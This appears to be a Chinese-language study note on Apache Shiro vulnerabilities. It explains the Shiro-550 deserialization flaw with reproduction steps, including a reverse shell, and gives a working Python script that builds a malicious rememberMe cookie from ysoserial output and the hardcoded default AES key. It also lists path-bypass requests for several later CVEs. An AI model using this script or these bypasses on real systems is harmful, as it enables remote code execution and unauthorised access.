RememberMe RCE-550(CVE-2016-4437)
产生原因:
Apache Shiro框架对传入的数据,在最后反序列化的时候没有做过滤处理。(仅对数据进行编码的话,做代码审计分析编码的原理,就可能会造成编码“失效”)
挖个坑,编码(加密,便于传输,防止信息泄露(哈希值?),防止远程命令执行?)
漏洞存在点:
Shiro提供了记住我(RememberMe)的功能,使用CookieRememberMeManager。将信息存入Cookie便于用户免密登录。
客户端流程(对Cookie数据加密处理):在CookieRememberMeManaer类中将cookie中rememberMe字段内容进行序列化、AES加密、Base64编码操作。
服务器端流程(对Cookie数据进行检验):获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。
攻击流程:
攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。
漏洞复现:
1.确定对象存在Shiro框架,确定对象版本;
2.检查返回包的 Set-Cookie 中是否存在 rememberMe=deleteMe 字段;
3.测试密钥
4.将想执行的命令(反弹shell等)进行编码(http://www.jackson-t.ca/runtime-exec-payloads.html,使管道、重定向、空格经过base64编码后得以运行)
5.开启监听端口,一个监听反弹shell的端口(必须),一个监听服务器连接利用ysoserial.jar(非必须);
6.将编码后的命令序列化、AES加密、base64编码后,在Cookie中发送,等待返回shell。
Shiro.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES #pip install pycryptodome
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout = subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
这个只有一个AES编码的密钥。’kPH+bIxk5D2deZiIxcaaaA==’
(直接使用工具可以省略以上步骤。。再挖个坑,想知道他们怎么编写的工具)
远程安全限制绕过漏洞(CVE-2016-6802)
漏洞详情
shiro在路径控制的时候,未能对传入的url编码进行decode解码,导致攻击者可以绕过过滤器,访问被过滤的路径。
漏洞影响
shrio <1.3.2
漏洞利用
访问http://127.0.0.1/admin 的时候,页面返回403。因此可以确定admin路径是属于被过滤路径。此时使用burp截断,然后在访问路径的最后添加%2f,既可绕过shiro检测。因为对于浏览器来说%2f会被自动编码为/,但是burp截断之后进入shiro,shiro未对其解码,所以可以绕过。
具体的可以查看:Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现 – 灰信网(软件开发博客聚合) (freesion.com)
Shiro搭配spring时身份验证绕过漏洞分析(CVE-2020-1957)
漏洞详情
在Shiro中的URL路径表达式pathPattern可以正确匹配/resource/menus,但不能正确匹配/resource/menus/,导致过滤链无法正确匹配,从而绕Shiro的防护机制。当Shiro 的Ant格式的pathPattern 中的的通配符是不支持匹配路径的,所以/hello/不能成功匹配/hello/1/,也就不会触发authc拦截器进行权限拦截。从而成功绕过了Shiro拦截器,而后再进入到spring拦截器中,/hello/1/与/hello/1能获取到相同的资源。
影响版本
Shiro <1.5.2
漏洞分析
https://www.freebuf.com/vuls/231909.html
Apache Shiro权限绕过漏洞分析(CVE-2020-11989)
漏洞详情
如果直接访问 /test/admin/page ,会返回302跳转要求登录,
访问 /;/test/admin/page , 就能直接绕过Shiro权限验证,访问到/admin路由中的信息
漏洞版本
Shiro < 1.5.3
Sping框架只使用shiro鉴权
漏洞分析
Apache Shiro 权限绕过漏洞(CVE-2020-13933)
漏洞详情
Apache Shiro的CVE-2020-11989修补补丁依旧存在缺陷,由于shiro和spring在处理url中仍然存在差别,通过构造特殊的HTTP请求,可以再次绕过授权,访问未授权的信息。访问/read/xx,被302重定向到了/login, 而访问/read/%3bxxx,能够绕过认证。
漏洞版本
Shiro<1.6.0
漏洞分析
实际漏洞挖掘中还是shiro反序列化常见,多用脚本测试;权限漏洞并不常见。
参考链接
Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721) – Bypass – 博客园 (cnblogs.com)
(11条消息) Apache Shiro系列漏洞利用以及实战总结_jammny-CSDN博客_shiro漏洞
longofo/PaddingOracleAttack-Shiro-721: Shiro-721 Padding Oracle Attack (github.com)
(11条消息) Apache Shiro反序列化漏洞复现并利用(CVE-2016-4437)_qq_42773814的博客-CSDN博客